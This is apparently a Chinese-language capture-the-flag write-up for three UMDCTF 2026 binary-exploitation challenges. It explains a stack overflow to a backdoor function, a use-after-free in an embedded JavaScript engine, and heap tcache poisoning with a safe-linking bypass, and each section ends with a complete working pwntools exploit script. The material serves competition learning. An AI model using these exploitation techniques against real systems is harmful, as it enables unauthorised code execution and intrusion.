UMDCTF 2026 Pwn wp by YHalo

ipv4

image-20260427200752963

这道题是有后门的

image-20260427202102399

调用win()的地方看下

image-20260427202229234

a1不为0.0.0.0,并且要等于100.72.7.67才可以return win

再看下main函数

image-20260427204008154

函数原型显示有点问题,改改

image-20260429102900539

要让程序流执行到check_rine

输入的Source Host和Dest Host是valid就可以

一共4个scanf,最后一个scanf限制了输入大小48个字节

最后传入check_rine的参数是v5

image-20260429105708916

可以发现v5[0]的位置被初始化固定写成0.0.0.0

image-20260429105856831

Desthost碰不到v5[0]

但是调试的时候发现这个payload:b’1.1.1.1’+b’a’*(0x30-len(‘1.1.1.1’))

可以让v5[0]为空,这样就绕过了0.0.0.0的检查

image-20260429141836103

后来查原因,scanf 会自动在字符串末尾加 \x00,我填满了DsetHost后刚好在末尾加\x00就溢出覆盖了v5[0]的头部一点导致破坏了0.0.0.0

但是想要让v5[0]变成100.72.7.67基本不行

只能想办法让SourceHost溢出继续往下覆盖到返回地址retwin,正好SourceHost是scanf(”%s”)没有限制

image-20260429144427297

前面一样是写1.1.1.1,为了绕过地址有效性检查

payload=b’1.1.1.1’+b’a’*(0x68-len(‘1.1.1.1’))+p64(win)

最后需要栈对齐一下

image-20260429141549932

exp

from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#io=process('./ipv4')
io=remote('challs.umdctf.io',30308)
win=0x402F45
ret=0x40101a
payload1=b'1.1.1.1'+b'a'*(0x68-len('1.1.1.1'))+p64(ret)+p64(win)
payload2=b'1.1.1.1'+b'a'*(0x30-len('1.1.1.1'))
log.success(payload1)
io.recvuntil('What is your Source ASN Prefix?')
io.sendline('1.1.1.1')
io.recvuntil('What is your Source Host Address?')
io.sendline(payload1)
io.recvuntil('What is your Destination ASN Prefix?')
io.sendline('1.1.1.1')
io.recvuntil('What is your Destination Host Address?')
io.sendline(payload2)
​
io.interactive()

bookmaker

    Arch:       amd64-64-little
  RELRO:     Full RELRO
  Stack:     No canary found
  NX:         NX enabled
  PIE:       PIE enabled
  FORTIFY:   Enabled
  SHSTK:     Enabled
  IBT:       Enabled

没有canary

查字符串bin/sh发现后门

image-20260504151932494
image-20260429150714626

这个函数很好认,会打印一条 market resolved YES: %s,然后 fflush(stdout),最后 system(“/bin/sh”)

顺手再看看上面的market resolved NO

image-20260504152442113

查看引用,sub_B980

这里创建了一个0x30的对象结构体,并且把subB390这个函数回调放进去,作为resolver

image-20260504160158823

sub_B390还有一个引用在主函数里

image-20260504221751711
image-20260504221809071

subB890被主函数引用,被映射为mintWire这个脚本层名字

image-20260504160544070

主函数是一个嵌入式js脚本执行终端

image-20260429201659242
image-20260429201722071

main 前半段大块代码只是读脚本

分两种读脚本方法,一个是从文件读JS,另一个是直接从stdin读JS,直到遇到END_MARKET_SCRIPT

中间一段把 C 函数注册成 JS 里的全局方法

主要是两个特殊的构造函数,Ldeger和Wire,独树一帜和其他的注册函数明显不一样

image-20260504163400841

这里看看off_C6D60,里面刚好放了4个字段,view , recycle ,resize ,serial

image-20260504163840619

推测这是一个方法表

重点看下js_Ledger_ctor,做了两次malloc分配,

image-20260504165450830

第一次分配固定大小的ledger对象

第二次给用户可控大小的buf

看看js_help

image-20260504171006940
image-20260504171139137

关键的信息,可以把函数逻辑看到很清楚

重点再看看ledger.view()和ledger.recycle

ledger.view()把:原始地址 ledger->buf,原始长度 ledger->size

直接交给了 JS 包装函数

基于现有 native 内存创建 ArrayBuffer

image-20260504173004845

如果 buf == NULL 或 size == 0,就报错:ledger has no buffer

也就是view() 会把这块 native buffer 直接暴露给 JS

然后是js_ledger_recycle

image-20260504173501289

这里做了free(ledger->buf),但是没有把buf=null,也没有把ledger->size=0

属于很明显的UAF漏洞,free了之后,旧 view 不失效,JS 侧仍然能通过旧 view 读写已释放内存

那基本的利用链就完整了,思路就是制造堆块重叠

Ledger(size)分配一个 native buf

ledger.view()返回一个直接 alias 到 buf JS buffer

ledger.recycle()对 buf 调 free

旧 view 不失效,JS 侧仍然能通过旧 view 读写已释放内存

mintWire()再申请一个 0x30 大小的 Wire 对象,复用这块 freed chunk

view 覆盖到 Wire,旧 view 现在读写的其实是 Wire 结构体,可以通过读sub_B390这个resolver来泄露pie基地址

后续改 Wire 的字段, qword_CC108 正好在&unk_CC120前面 0x18 字节,所以:global_resolver = data_ptr – 0x18

接着把当前 Wire 的目标指针改成 qword_CC108,再把 backdoor地址覆写qword_CC108

最后全局resolver就可以跳到backdoor

exp

from pwn import *
​
context(arch='amd64',os='linux',log_level='info')
context.binary = ELF("./bookmaker")
​
​
js = r"""
function r64(dv, off) {
let v = 0;
let m = 1;
for (let i = 0; i < 8; i++) {
  v += dv.getUint8(off + i) * m;
  m *= 256;
}
return v;
}
​
function w64(dv, off, v) {
for (let i = 0; i < 8; i++) {
  dv.setUint8(off + i, v & 0xff);
  v = Math.floor(v / 256);
}
}
​
function ab64(v) {
let b = new ArrayBuffer(8);
let d = new DataView(b);
w64(d, 0, v);
return b;
}
​
let ledger = new Ledger(48);
let view = ledger.view();
let dv = new DataView(view);
ledger.recycle();
​
let id = mintWire();
​
let data_ptr = r64(dv, 0);
let resolver = r64(dv, 24);
let pie = resolver - 0xb390;
let backdoor = pie + 0xb3c0;
let global_resolver = data_ptr - 0x18;
​
w64(dv, 0, global_resolver);
w64(dv, 8, 8);
wireWrite(id, ab64(backdoor));
settle("owned");
__END_MARKET_SCRIPT__
"""
​
io = remote("challs.umdctf.io", 30307)
io.send(js.encode())
​
io.interactive()
​
​

velvet-table

    Arch:       amd64-64-little
   RELRO:      Full RELRO
   Stack:      No canary found
   NX:         NX enabled
   PIE:        PIE enabled
   FORTIFY:    Enabled
   SHSTK:      Enabled
   IBT:        Enabled

查看字符串发现bin/sh

顺着找到后门函数

image-20260505162148321

看主函数

基本就是一个堆题菜单

去符号了,先把Seat_table的结构还原出来,再在ida里新建结构体逆一下就可以清晰点

image-20260508152310558

选项2很明显的没有清指针,UAF漏洞

image-20260508194015476

这个idx是输入的saeat于seat_key异或后再经过计算出来的,后面的选项也都是这样

image-20260508210615644

seat_key来源

image-20260508211123090

选项3相当于edit,更新chunk内容,但是这个copy_size给的可以输入非常大,有个开关是cancopy,初始默认值是0

image-20260508195201223

选项4这里相当于show,它只检查了seat_table[idx].ptr,却没有看used,也就是说UAF读成立,只是读出来的是被加密混淆过的信息

image-20260509212317542

secret也来自开头的v54地址混淆

image-20260509212947964

选项6这里给了一个函数调用点,前置条件是count为奇数,而且需要让栈上的v56满足条件才能调用v55()

image-20260511193538734

选项7的作用就是让之前选项3的cancopy的值变成1,开启开关,限制是count要大于6

image-20260508201235949

count的处理在选项2的末尾,size不为256和384这两个特殊值就可以进到cashed_out,cashed_out分支就是让count+1

image-20260511194702497

另外,每次malloc一次也会给count+2

image-20260511222339463

开头这里给出了运行时的栈上局部变量v54地址的混淆,从而可以逆推出secret和seat_key

image-20260508201819211

就能够解密选项4的内容和真正的idx

基本的利用链思路就是,先申请多个chunk让count满足条件,count要大于6的话需要4次malloc,把cancopy开关打开,利用UAF形成堆块投毒,其中需要绕一下safe-linking,让分配落到函数调用点v55()旁边,然后show展示出函数地址,用来算pie基址,接着利用update功能把函数的v55()和v56()一起覆盖了,v55()覆盖成后门地址,v56覆盖成满足条件的guard,最后选项6调用后门函数

看下leak的v54地址附近,+0x20偏移位置就是v55

屏幕截图 2026-05-12 094810

把下一次分配落在v55附近,拿到地址减去1b50偏移刚好算出运行时的pie基地址,顺便还可以调整v56满足调用guard

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal=['cmd.exe','/c','start','wsl.exe','bash','-c']
elf=ELF("velvet-table")
io=process("velvet-table")
io.recvuntil("table marker:")
leak_value=int(io.recvline().strip(),16)
shift=leak_value ^ 0x9AC90307
leak_addr = 0x7FF000000000 | (((leak_value ^ 0x9AC90307) & 0xffffffff) << 4)
log.info("leak_addr: "+hex(leak_addr))
target_addr=leak_addr+0x20
log.success(f"target_addr: {hex(target_addr)}")
secret = (shift ^ 0x5A17C3D9) & 0xffffffff
seat_key = (shift ^ 0x7E) & 0xF
​
v48= secret<< 32
def seat(idx):
   return((idx-3)&0xf)^seat_key
def malloc(idx, size):
   io.sendlineafter(b"> ",b"1")
   io.sendlineafter(b"seat: ",str(seat(idx)).encode())
   io.sendlineafter(b"size: ",str(size).encode())
def free(idx):
   io.sendlineafter(b"> ",b"2")
   io.sendlineafter(b"seat: ",str(seat(idx)).encode())
​
def update(idx,data):
   io.sendlineafter(b"> ",b"3")
   io.sendlineafter(b"seat: ",str(seat(idx)).encode())
   io.sendlineafter(b"length: ",str(len(data)).encode())
   io.sendafter(b"data:\n",data)
def show(size,idx):
   n = min(size, 64)
   io.sendlineafter(b"> ",b"4")
   io.sendlineafter(b"seat: ",str(seat(idx)).encode())
   out = io.recvuntil(b"\n\n1)")
   io.unrecv(b"\n\n1)")
   return out[:-4]
​
def decode_show(data, idx):
   out = bytearray()
   base = (idx * 0x45D9F3B) ^ secret
   for i, b in enumerate(data):
       r = (idx + i) & 7
       x = (base ^ (i * 0x9E37)) & 0xffffffff
       k = (((x << r) | (x >> (32 - r))) & 0xffffffff) & 0xff
       out.append(b ^ k)
   return bytes(out)
​
​
def cancopy():
   io.sendlineafter(b"> ",b"7")
​
​
malloc(0,0x88)
malloc(1,0x88)
line = io.recvline().strip()
chunk_addr = int(line.split(b": ")[1], 16)
log.success(f"chunk_addr: {hex(chunk_addr)}")
malloc(2,0x88)
malloc(3,0x88)
io.recvuntil(b"reservation confirmed:")
cancopy()
free(0)
free(1)
safe_linking=p64(target_addr^(chunk_addr>>12))
log.success(f"safe_linking: {hex(target_addr^(chunk_addr>>12))}")
update(1,safe_linking)
malloc(4,0x88)
malloc(5,0x88)
gdb.attach(io)
pause()
data=show(0x88,5)
leak=decode_show(data,5)
func = u64(leak[:8])
pie=func-0x1b50
win=pie+0x1b60
guard=v48^win^0x686F7573655F6564
update(5, p64(win)+p64(guard))
free(2)  #count+1
io.sendlineafter(b"> ", b"6")
​
io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇